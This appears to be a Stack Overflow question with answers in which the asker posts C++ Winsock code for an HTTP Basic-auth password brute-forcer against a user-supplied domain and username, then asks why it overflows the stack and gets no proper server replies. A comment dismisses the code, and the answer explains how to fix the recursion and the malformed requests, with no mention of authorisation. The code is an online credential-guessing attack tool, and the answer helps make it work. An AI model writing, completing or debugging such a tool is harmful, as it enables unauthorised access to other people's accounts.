0

I've been coding this brute-forcer for a while and asking a ton of HTTP questions, but when I ran my code inside Visual Studio, I got a stack overflow and also I wasn't able to send and receive data correctly from the server.

Here is my code.

   const char characters[64] = {
    'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N',
    'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b',
    'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n','o', 'p',
    'q', 'r', 's', 't', 'u','v', 'w', 'x', 'y', 'z', '0', '1', '2', '3',
    '4', '5', '6', '7', '8', '9', '+', '/'
    };

    BF::BF()
    {
       _user = "";
       _domainName = "";
       _path = "";
    }

    BF::~BF()
    {
    }

    void BF::run() {
       getInfo();
       initSystem();
       crack();
    }

       void BF::getInfo() {
       std::ifstream domFile;
       std::string res;
       std::string line;

       std::cout << "Enter the domain name in the inputDomain file, and once complete enter y to continue: ";
       std::getline(std::cin, res);
       if (res == "y") {
           domFile.open("inputDomain.txt");
              if (domFile.is_open()) {
                  if (std::getline(domFile, line)) {
                     std::cout << "Got domain name." << std::endl;
                        if (line == "") {
                           getInfo();
                        }
                  }
                 domFile.close();
        }
    }
    else {
        std::cout << "You entered an invalid value." << std::endl;
        system("PAUSE");
    }
    _domainName = line;

    std::ifstream pathFile;
    std::string response;
    std::string l;

    std::cout << "Enter the path in the inputPath file, and once complete enter y to continue: ";
    std::getline(std::cin, response);
    if (response == "y") {
        pathFile.open("inputPath.txt");
        if (pathFile.is_open()) {
            if (std::getline(pathFile, l)) {
                std::cout << "Got path." << std::endl;
                if (l == "") {
                    getInfo();
                }
            }
            pathFile.close();
        }
    }
    else {
        std::cout << "You entered an invalid value." << std::endl;
        system("PAUSE");
    }
    _path = l;

    std::string u;
    std::cout << "Enter the username: ";
    std::getline(std::cin, u);
    _user = u;
    }

    void BF::initSystem() {
    WSAData wsa;
    char* hostname = _strdup(_domainName.c_str());
    char ip[100];
    struct hostent *he;
    struct in_addr **addr_list;
    struct sockaddr_in server;

    if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) {
        printf("Failed. Error Code: %d", WSAGetLastError());
        system("PAUSE");
    }

    if ((he = gethostbyname(hostname)) == NULL) {
        printf("Failed. Error Code: %d", WSAGetLastError());
        system("PAUSE");
    }

    addr_list = (struct in_addr **) he->h_addr_list;
    for (int i = 0; addr_list[i] != NULL; i++) {
        strcpy_s(ip, inet_ntoa(*addr_list[i]));
    }

    soc = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    server.sin_addr.s_addr = inet_addr(ip);
    server.sin_family = AF_INET;
    server.sin_port = htons(443);

    if (connect(soc, (struct sockaddr*) &server, sizeof(server)) < 0) {
        printf("Failed. Error Code: %d", WSAGetLastError());
        system("PAUSE");
    }

    crackPassword();
    }

    void BF::crackPassword() {
    while (1) {
        static unsigned int stringLength = 1;
        generatePassword(stringLength, "");
        stringLength++;
    }
    }

    void BF::generatePassword(unsigned int length, std::string p) {
    if (length == 0) {
        std::cout << "Trying: " + p << std::endl;
        getDataEncoded(p);
    }

    for (int i = 0; i < 64; i++) {
        std::string a = p + characters[i];
        generatePassword(length - 1, a);
    }
    }

    void BF::getDataEncoded(std::string pass) {
    Base64 base;
    std::string m = _user + ":" + pass;
    std::string encoded = base.base64_encode(reinterpret_cast<const unsigned char*>(m.c_str()), m.length());
    sendDataToServer(encoded);
    }

    void BF::sendDataToServer(std::string encodedString) {  
    char* message, server_reply[2000];
    int recv_size;
    std::string uri = _domainName + _path;
    std::string m = uri + " HTTP/1.1" + _domainName + "Basic " + encodedString;
    unsigned int messSize = (unsigned int)m.length();
    std::ostringstream ostr;
    ostr << messSize;
    std::string messageSize = ostr.str();

    std::string mes = "GET " + uri + " HTTP/1.1" + "\r\n" +
        "Host: " + _domainName + "\r\n" +
        "Content-Length: " + messageSize + "\r\n";
    message = _strdup(mes.c_str());

    if (send(soc, message, strlen(message), 0) < 0) {
        std::cout << "Message failed to send." << std::endl;
        system("PAUSE");
        WSACleanup();
        closesocket(soc);
    }
    std::cout << "Message was sent" << std::endl;

    if ((recv_size = recv(soc, server_reply, 2000, 0)) == SOCKET_ERROR) {
        printf("Failed. Error Code %d", WSAGetLastError());
        system("PAUSE");
        WSACleanup();
        closesocket(soc);
    }
    std::cout << "Received the message from the server" << std::endl;

    server_reply[recv_size] = '\0';
    std::cout << server_reply << std::endl;
    system("PAUSE");
    }
Jonathan Leffler
  • 666,971
  • 126
  • 813
  • 1,185
  • 1
    No error checking, no comments, inconsistent indentation, mixtures of C-style and C++-style code. Sorry, I wouldn't want to debug that code either. Clean up the code, extract a minimal but complete example and then ask a precise question. – Ulrich Eckhardt Nov 29 '15 at 20:06

1 Answers1

1
  1. You're running out of stack space because you're using a recursive routine (BF::generatePassword) to generate strings of ever increasing length (the while (1) loop in BF::crackPassword). Refactor BF::generatePassword to be non-recursive.

  2. You're having HTTP issues because the HTTP request you send is malformed. You need to include an additional "\r\n" pair at the end of the request (after all of the request headers). It's this blank line that tells the server it's read the entire request and can now send the response.

  3. Don't include a "Content-Length" header with an HTTP GET request. Sending an entity body with GET is kinda pointless. The first answer here has the gory details, which boil down to "So, yes, you can send a body with GET, and no, it is never useful to do so". If you need to send data with the request, you probably want POST, not GET.

Community
  • 1
  • 1
keithmo
  • 4,465
  • 1
  • 18
  • 17